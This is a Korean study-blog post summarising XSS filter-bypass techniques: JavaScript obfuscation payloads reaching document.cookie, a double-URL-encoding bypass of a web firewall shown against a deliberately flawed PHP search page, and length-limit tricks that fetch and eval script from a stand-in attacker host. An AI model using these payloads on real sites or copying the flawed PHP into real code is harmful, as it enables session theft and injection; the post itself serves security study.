본문 바로가기

Study/WebHacking

XSS Filtering Bypass - 2 정리

728x90

1) 불충분한 XSS 필터링

1-1) Unicode escape sequence를 통한 우회 -> 자바스크립트 Unicode escape sequence 지원 

 참고 : https://dencode.com/string/unicode-escape

 

Unicode Escape (\u %u \x &#x U+ 0x \N) Encoder / Decoder Online - DenCode

Unicode Escape encoder / decoder. (e.g. "Hello, world!" <=> "\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064\u0021")

dencode.com

var foo = "\u0063ookie";  // cookie
var bar = "cooki\x65";  // cookie
\u0061lert(document.cookie);  // alert(document.cookie)

 

1-2) Computed member access를 이용한 우회 -> 자바스크립트 Computed member access 지원 

  💡 Computed member access? 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능

alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)

 

1-3) alert, XMLHttp Request 등 문서 최상위 객체 및 함수 우회

▶️ window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기

 

1-4) window 우회

function XSSFilter(data){
  if(/alert|window|document/.test(data)){
    return false;
  }
  return true;
}

▶️ self, this 이용

this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);

1-5) eval(code) 우회

▶️ Function(code) ( ) 

 

1-6) Function 우회

▶️ isNAN['constr' + 'uctor'] 등 함수의 constructor 속성 접근

function XSSFilter(data){
  if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|[\-+\\<>{}=]/i.test(data)){
    return false;
  }
  return true;
}
/* 주요 키워드 이외에도 특수문자 등을 탐지합니다.
 * decodeURI, atob와 constructor 속성을 함께 사용하면 원하는 임의의 코드를 실행할 수 있습니다.
 */
// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
      decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();

 

1-7) 6개의 문자 "  [ ,  ] ,  ( ,  ) ,  ! ,  +  " 이용하여 우회 -> XSS 공격 구문의 길이가 늘어난다는 단점 존재

▶️ 참고 : https://jsfuck.com/

 

JSFuck - Write any JavaScript with 6 Characters: []()!+

 

jsfuck.com

 

1-8) 템플릿 리터럴 이용한 우회 -> 문자열 사용할 때 필요한 따옴표( ", ' )가 필터링되어 있는 경우


💡템플릿 리터럴?
  • 내장된 표현식을 허용하는 문자열 리터럴
  • 여러 줄로 이뤄진 문자열과 문자를 보관하기 위한 기능으로 이용
  • 백틱( ` )을 이용해 선언할 수 있으며 내장된 ${ } 표현식을 이용하여 다른 변수나 식을 사용가능

 

var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."

 

1-9) RegExp 객체 사용하여 우회 -> 따옴표와 백틱을 모두 사용하지 못하는 경우

var foo = /Hello World!/.source;  // "Hello World!"
var bar = /test !/ + [];  // "/test !/"

💡 RegExp 객체?
`RegExp` 객체(정규 표현식 객체)는 JavaScript에서 정규 표현식을 다루기 위한 객체입니다. 정규 표현식은 문자열에서 패턴을 검색하거나 대체, 추출하는 등의 문자열 조작 작업을 수행하는 데 사용됩니다. `RegExp` 객체는 다음과 같은 방법으로 생성할 수 있습니다:

1. 리터럴 표기법:

let regex = /pattern/;


2. RegExp` 생성자:

let regex = new RegExp("pattern");

여기서 "pattern"은 검색하고자 하는 정규 표현식 패턴입니다. `RegExp` 객체를 사용하면 문자열에서 패턴을 검색하거나 다양한 문자열 조작 작업을 보다 유연하게 수행할 수 있습니다.

예를 들어, 다음은 정규 표현식을 사용하여 문자열에서 숫자만 추출하는 예제입니다:

let str = "Hello 123 World";
let regex = /\d+/; // 숫자에 대응하는 정규 표현식
let result = str.match(regex);

console.log(result); // 출력: [ '123', index: 6, input: 'Hello 123 World', groups: undefined ]

이 코드에서 `\d+`는 하나 이상의 숫자에 대응하는 정규 표현식입니다. `match` 메서드를 사용하여 문자열에서 해당 패턴에 대응하는 부분을 추출할 수 있습니다.


 

1-10) fromCharCode 함수 사용하여 우회

⏩유니코드의 범위 중 파라미터로 전달된 수에 해당하는 문자 반환

var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

 

1-11) 기본 내장 함수 및 객체 문자를 이용하여 우회

⏩ 내장함수나 객체를 toString 함수를 이용해 문자열로 변경하게 되면 함수나 객체의 형태가 문자열로 변환됨

 원하는 문자열을 만드는데 필요한 문자들을 내장 함수나 객체로부터 한 글자씩 가져와 문자열을 만들 수 있음.

var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
  • history.toString( ) -> [object Histroy]
  • URL.toString( ) -> function URL( ) {[native code]}
  • history + [ ]; history + 0 -> 객체 내부적으로 toString 함수를 호출해 문자열로 변환 후 연산 수행

1-12) 진수 변환 이용한 우회

var foo = (29234652).toString(36); // "hello"
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"

 

1-13) javascript 스키마를 이용한 location 변경하는 우회 기법 -> 함수호출할 때 소괄호와 백틱( `)이 필터링되어있는 경우

⏩URL을 이용해 자바스크립트 코드를 실행시킬 수 있음. 이를 이용해 현재 location 객체를 변조하는 방식으로 자바스크립트 코드를 실행하는 것이 가능

location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";

 

1-14) Symbol.hasInstance 오버라이딩

⏩Symbol.hasInstance well-known symbol을 이용하면 instanceof 연산자를 오버라이드(재정의)할 수 있음.

즉, 0 instanceof C 를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과 값으로 사용하게 됨. 이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있음.

"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

 

💡Symbol?

  • 생성자가 symbol 원시 값을 반환하는 내장 객체
  • symbol 원시 값은 심볼 값, 혹은 짧게 심볼이라고 부르며 고유함이 보장됨
  • 심볼은 객체에 속성을 추가할 때 고유한 키를 부여하여 다른 코드와 충돌하지 않도록 할 때 많이 쓰임.
  • 추가한 속성은 일반적인 방법으로 접근 불가하여 캡슐화 또는 정보 은닉을 제공

1-15) document.body.innerHTML 추가

⏩document.body.innerHTML 에 코드를 추가할 경우 새로운 HTML 코드가 문서에 추가되고 자바스크립트 코드를 실행가능

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

▶️ 주의! innerHTML로 HTML 코드를 실행할 때에는 보안 상 <script> 태그를 삽입해도 실행되지 않음. 

따라서 이벤트 핸들러를 이용해 자바스크립트 코드를 실행해야함.

 

2) 디코딩 전 필터링

본래 입력 검증은 디코딩 등의 모든 전처리 작업을 마치고 수행해야함.

 

예) 클라이언트의 요청이 웹 방화벽을 거쳐 애플리케이션으로 전달되는 웹 서버를 생각해보겠습니다.

이 환경에서 웹 방화벽은 요청을 검증해서 XSS 공격 코드를 차단.

애플리케이션은 웹 방화벽을 통과한 데이터를 받아 작업 수행함.

이 때 애플리케이션은 전달받은 데이터를 다시 디코딩해서 사용하면 안됨. 

그런 경우 공격자가 더블 인코딩으로 웹 방화벽의 검증을 쉽게 우회할 수 있음!

 

💡더블 인코딩

  • 보안 제어를 우회하거나 애플리케이션에서 예상치 못한 동작 유발하기 위해 사용자 요청 매개변수를 16진수 형식으로 두 번 인코딩하는 것으로 구성됨.
  • 웹서버가 다양한 인코딩된 형식으로 클라이언트 요청을 받아들이고 처리하기 때문에 가능함.

Senario : Attacker가 게시글에 공격 코드 <script>...</script>를 포함하여 게시판에 올리고, 희생자가 해당 글을 읽는다.

1) 공격자가 더블 URL 인코딩한 공격 코드 %253script%253E...를 포함하여 게시글 업로드 요청
2) 웹 방화벽이 해당 데이터를 디코딩 후 검증. 디코딩한 결과인 %3Cscript%3E...는 안전하다고 판단하여 차단하지 않고 애플리케이션에 전달
3) 애플리케이션이 해당 데이터를 또 디코딩해서 <script>...를 게시판 DB에 저장(검증 후 디코딩 발생)
4) 희생자가 해당 게시글을 읽으면 XSS가 발생하여 악성 자바스크립트 코드 실행됨

 

⏬검사가 미흡한 PHP 예시

<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
    header("HTTP/1.1 403 Forbidden");
    die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>

 

⏬공격에 실패한 경우

POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
...
-----
HTTP/1.1 403 Forbidden
XSS attempt detected: &lt;script&gt;alert(document.cookie)&lt;/script&gt;

 

⏬더블 URL 인코딩을 통해 공격 성공한 경우

POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>

 

3) 길이 제한

3-1) location.hash를 이용

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);

 

3-2) 외부자원을 이용

import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))

 

'Study > WebHacking' 카테고리의 다른 글

GET 방식과 POST 방식 데이터 요청  (0) 2024.03.15
XSS Filtering Bypass write up  (0) 2024.02.12
XSS Filtering Bypass - 1 정리  (0) 2024.02.07
XSS(Cross-Site-Scripting) 정리  (0) 2024.02.06
Dreamhack wargame : web-ssrf write up  (0) 2024.02.06